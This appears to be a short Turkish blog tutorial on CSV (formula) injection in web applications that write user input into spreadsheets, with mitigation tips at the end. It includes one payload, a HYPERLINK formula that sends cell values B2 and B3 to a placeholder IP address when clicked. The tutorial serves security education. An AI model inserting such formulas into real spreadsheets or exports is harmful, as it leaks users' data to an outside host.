CSV Injection Zafiyeti

CSV Injection zafiyeti, web uygulamalarında bulunan CSV dosyalarına güvenlik riski barındıran içerik enjekte edilmesiyle oluşur. “Formula Injection” olarak da bilinmektedir.

Senaryo:

Kullanıcıdan aldığı verileri bir excel dosyasına yazan web uygulaması olsun. Beklenen değerden farklı olarak bir formül girilir, eğer önlemler alınmamışsa enjeksiyon gerçekleşir.

Örnek formüller:

  • =3+2 
    • 3+2 toplama işlemini gerçekleştirir ve 5 yazdırır
  • =HYPERLINK(“https://google.com”, “Google”)
    • “Google” yazısına tıklayınca google.com a yönlendirir.

Olası bir saldırı senaryosunda yukarıda bahsedilen HYPERLINK formülü kullanılarak dosya içerisindeki veriler sızdırılabilir.

=HYPERLINK(“http://IP_ADRESI:1234?a=”&B2&B3,”ONEMLI”)

“ONEMLI” yazısına tıklandığında belirtilen ip adresine B2 ve B3 adreslerinde bulunan veriler GET isteği olarak gönderilecektir.

(Payload giriliyor)

 

(Dosya içerisinde fonksiyon oluşturuldu)

 

Yukarıda oluşan tabloya göre “ONEMLI” ye tıklandığında hedef adrese “10” ve “20” değerleri gönderilecektir.

(Linke tıklanmasının ardından IP adresine veriler gönderildi)

Korunma Yöntemleri

  • Artı (+), Eksi (-), Eşittir (=), At (@) karakterlerini silme
  • Kullanıcıdan gelen özel karakterlerin başına tırnak işareti ekleme

Gerçek dünyadan örnekler

 

İlk Yorumu Siz Yapın

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir